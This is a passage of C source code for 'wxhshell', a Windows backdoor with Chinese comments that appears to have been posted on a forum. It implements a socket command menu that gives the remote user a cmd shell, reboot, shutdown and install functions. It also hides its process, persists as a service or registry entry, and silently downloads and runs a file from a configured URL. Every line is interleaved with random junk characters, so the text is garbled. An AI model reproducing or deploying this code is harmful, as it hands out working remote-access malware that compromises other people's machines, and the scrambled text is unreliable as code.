  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TvzqJ=  
  } 18AKM  
  else { 6?3f+=e"~!  
c9eLNVM  
    switch(cmd[0]) { |9F^"7Q~C  
  i.e1?Zk1  
  // 帮助 nKzS2 u=:Y  
  case '?': { J}9 I5O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kT+Idu  
    break; VNmQ'EuV}2  
  } ,/=Fm  
  // 安装 EC4RA'Bg1k  
  case 'i': { /*+P}__k  
    if(Install()) /Y>$w$S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v?U;o&L(  
    else /@<&{_sybp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &pCNOHi|  
    break; %`cP|k  
    } #xMl<  
  // 卸载 Sl8A=Ez  
  case 'r': { _^2rRz  
    if(Uninstall()) 5VU 5kiCt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1FCHqqZ=  
    else .<<RI8A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bk-veJR  
    break; |Mj2lZS  
    } DaV:Slp9  
  // 显示 wxhshell 所在路径 LB1AjNJ  
  case 'p': { W?n)IBj8  
    char svExeFile[MAX_PATH]; r{V=)h  
    strcpy(svExeFile,"\n\r"); }J~ d6m  
      strcat(svExeFile,ExeFile); W_%p'8,  
        send(wsh,svExeFile,strlen(svExeFile),0); vCf{k  
    break; F.s*^}L[  
    } fr\"MP  
  // 重启 ID-Y*  
  case 'b': { ^Lx(if WJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (^:0g.~c  
    if(Boot(REBOOT)) J 8z|ua  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [f^:V:) {  
    else { T=EHue$  
    closesocket(wsh); 29xm66  
    ExitThread(0);  =V- ^  
    } g69^D  
    break; LRJY63A  
    } 5 (Lw-_y#  
  // 关机 00?_10x)  
  case 'd': { :6 , `M,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fd{75J5%  
    if(Boot(SHUTDOWN)) \; 9log<Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VO (KQx  
    else { $Z{ap  
    closesocket(wsh); jvI!BZ  
    ExitThread(0); k$kOp *X  
    } B1x# 7>K  
    break; 4O TuX!  
    } v0D~zV"<y  
  // 获取shell  }de {-  
  case 's': { ")'9:c  
    CmdShell(wsh); ^V1.Y  
    closesocket(wsh); gQ < >S  
    ExitThread(0); hu ]l{TXi  
    break; PQu_]cXI  
  } Lp|7s8?  
  // 退出 ?5N7,|K)  
  case 'x': { G`/5=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +f}u.T_#  
    CloseIt(wsh); #2/2X v  
    break; f: j9ze  
    } Qj1q x;S  
  // 离开 :7WeR0*%  
  case 'q': { o9<)rUy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x1@`\r#0  
    closesocket(wsh); n=z=%T6  
    WSACleanup(); AYVkJq?  
    exit(1); >@Nn_d  
    break; ~t>i+{J KE  
        } ;?{N=x8  
  } ,ln=kj  
  } jkVX>*.|oy  
F*}.0SQ  
  // 提示信息 $QNII+o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U#qs^f7R  
} C[-M ~yIL  
  } #nD]G#>e  
O`;e^PhN  
  return; CeZ+!-lG  
} lpy( un  
A-&'/IHR"B  
// shell模块句柄 0SHF 8kek  
int CmdShell(SOCKET sock) hxB` hu-  
{ ?2q;`Nb  
STARTUPINFO si; fn~Jc~[G|  
ZeroMemory(&si,sizeof(si)); Rk8oshS+2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iI]E%H}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7;8#iS/  
PROCESS_INFORMATION ProcessInfo; &OM e'P  
char cmdline[]="cmd"; g'%^-S ]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u ? }T)B  
  return 0; nNEIwlj;  
} h1(GzL%i_  
RBA{!  
// 自身启动模式 7m<;"e)  
int StartFromService(void) 38gHM9T xh  
{ fF|m~#y  
typedef struct 1.U9EuI  
{ IyV%tOy  
  DWORD ExitStatus; 6^+T_{gl  
  DWORD PebBaseAddress; Edp%z"J;C  
  DWORD AffinityMask; =o+js;3  
  DWORD BasePriority; e8Y;~OAj[  
  ULONG UniqueProcessId; 'QP~uK  
  ULONG InheritedFromUniqueProcessId; s|O4 >LsG  
}   PROCESS_BASIC_INFORMATION; ] 'B4O1  
V6CRl&ZKO  
PROCNTQSIP NtQueryInformationProcess; 7`G FtX}  
s?,\aSsU@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hmG^l4B.T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  j1sgvh]D  
TwT@_~ IM  
  HANDLE             hProcess; D-S"?aO-  
  PROCESS_BASIC_INFORMATION pbi; j,J/iJs  
<CIy|&J6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gz~)v\5D/  
  if(NULL == hInst ) return 0; p(8[n^~,i  
Lc?q0x^s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =iFI@2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P'Gf7sQt7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s6YnNJ,SK  
% k}+t3aF  
  if (!NtQueryInformationProcess) return 0; A4mnm6Tf  
's>./Pf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^rX5C2}G\D  
  if(!hProcess) return 0; Q$B\)9`v[  
.zQ'}H1.C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]tnf< 5x  
m+LP5S  
  CloseHandle(hProcess); <W2 YG6^i  
Es^=&2 ''  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;&~9k?v7L  
if(hProcess==NULL) return 0; xfFsW^w  
U~l.%mui  
HMODULE hMod; -nL!#R{e  
char procName[255]; d+iV19#i  
unsigned long cbNeeded; }[O/u <Z  
:%2uZ/cG(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k "Qr  
l2ww3)Z  
  CloseHandle(hProcess); D:DtP6  
}u&,;]  
if(strstr(procName,"services")) return 1; // 以服务启动 ig}H7U2q@  
YX,xC-37y  
  return 0; // 注册表启动 L8.u7(-#  
} C?-_8OA  
.cCB,re  
// 主模块 \O G`+"|L  
int StartWxhshell(LPSTR lpCmdLine) CWx_9b zk  
{ u[b0MNE~  
  SOCKET wsl; = t!$72g\  
BOOL val=TRUE; c[zaYcbl  
  int port=0; f`Wces=5  
  struct sockaddr_in door; _fmOTz G  
!`qw" i  
  if(wscfg.ws_autoins) Install(); 'M=c-{f~  
*If ]f0?%  
port=atoi(lpCmdLine); &|#z" E^-  
^oH!FN`;{  
if(port<=0) port=wscfg.ws_port; } :9UI  
cK _:?G  
  WSADATA data; 3^2P7$W=   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <v+M~"%V  
&?(472<f**  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T.B} k`$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?<h|Q~JH  
  door.sin_family = AF_INET; :(Uz`k7   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E*]%@6tH  
  door.sin_port = htons(port); i8 fUzg)  
6SVh6o@]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s3+6Z~g'B  
closesocket(wsl); Ua\<oD79]  
return 1; k`;&??  
} -$@4e|e%a  
GkYD:o=qx  
  if(listen(wsl,2) == INVALID_SOCKET) { MB3 0.V/\  
closesocket(wsl); t#sw{RO  
return 1; w829 8Kl  
} \rPT7\ZA  
  Wxhshell(wsl); |p"4cG?)  
  WSACleanup(); @$] CC1Y  
e(~Y!:Q#O  
return 0; Y&y5^nG  
+8eW/Bs@2  
} 6,:`esl  
!PuW6  
// 以NT服务方式启动 1EcXvT=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6S6E 1~  
{ QCVwslj,K  
DWORD   status = 0; 3E`poE  
  DWORD   specificError = 0xfffffff; * u{CnH  
<lFQ4<"m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; avwhGys#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r5(-c]E7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S)~Riuy$  
  serviceStatus.dwWin32ExitCode     = 0; B%^ $fJ|  
  serviceStatus.dwServiceSpecificExitCode = 0; D`fi\A  
  serviceStatus.dwCheckPoint       = 0; ZW>?y$C+  
  serviceStatus.dwWaitHint       = 0; }5{#f`Ca6  
}Pf7YuUZZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n3LCQ:]T f  
  if (hServiceStatusHandle==0) return; aVbv.>  
qw mZOR#  
status = GetLastError(); nd?R|._R  
  if (status!=NO_ERROR) &] euL:C  
{ 2%oo.?!R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "H!2{l{  
    serviceStatus.dwCheckPoint       = 0; WeqQw?-  
    serviceStatus.dwWaitHint       = 0; f[$9k}.  
    serviceStatus.dwWin32ExitCode     = status; `Z!NOC  
    serviceStatus.dwServiceSpecificExitCode = specificError; "J(7fL$!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0"O22<K3a  
    return; Tx!c }  
  } (y;8izp9!  
ecl$z6'c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AroXf#.  
  serviceStatus.dwCheckPoint       = 0; EPMdR66  
  serviceStatus.dwWaitHint       = 0; n gC|BLT%h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BoMf#l.3B  
} DU.nXwl]  
Tl ?]K  
// 处理NT服务事件,比如:启动、停止 {2,OK=XM|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )s';m$  
{ |Y42ZOK0  
switch(fdwControl) <^,5z!z }  
{ r\sQ8/  
case SERVICE_CONTROL_STOP: V3]"ROH  
  serviceStatus.dwWin32ExitCode = 0; *=O~TY<](  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4lqowg0  
  serviceStatus.dwCheckPoint   = 0; beM}({:`  
  serviceStatus.dwWaitHint     = 0; }\oy?_8~  
  { 1]l m0bfs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q<F-l. q   
  } I!;&#LT+b  
  return; #[a+m  
case SERVICE_CONTROL_PAUSE: TXlxnB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nS}XY  
  break; SmJ6Fm6  
case SERVICE_CONTROL_CONTINUE: `1$7. ydQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aH1mW;,1u  
  break; b-x,`s  
case SERVICE_CONTROL_INTERROGATE: i1#\S0jN  
  break; oU.LYz_  
}; Kpo{:a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @I '_  
} qq+fUfB2:  
XNU[\I  
// 标准应用程序主函数 ;&Oma`Ec  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2@ <x%T  
{ K8l|qe  
u}7#3JfLn  
// 获取操作系统版本 5r:SBt|/  
OsIsNt=GetOsVer(); B0KZdBRx}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hl[!4#b]K  
x@I(G "  
  // 从命令行安装 4D`T_l  
  if(strpbrk(lpCmdLine,"iI")) Install(); yBPaGZ{f  
i 7fQj, q  
  // 下载执行文件 cI O7RD$8  
if(wscfg.ws_downexe) { GCUzKf&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tCk;tu!d  
  WinExec(wscfg.ws_filenam,SW_HIDE); }lk_Oe1  
} tfr*/+F  
}D7q)_g=  
if(!OsIsNt) { kphv)a4z=  
// 如果时win9x,隐藏进程并且设置为注册表启动 >HUU`= SC  
HideProc(); SY` U]-h  
StartWxhshell(lpCmdLine); CE$c/d[N.  
} Ew=8"V`C  
else ov=[g l  
  if(StartFromService()) .]qj];m  
  // 以服务方式启动 7J]tc1-re  
  StartServiceCtrlDispatcher(DispatchTable); O6^>L0'  
else >C`b 4xQ  
  // 普通方式启动 %r0yBK2uOp  
  StartWxhshell(lpCmdLine); 4*4s{twG  
/.<T^p@\&  
return 0; 4dXuy>Km  
}
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只看该作者 1 发表于: 2006-10-10
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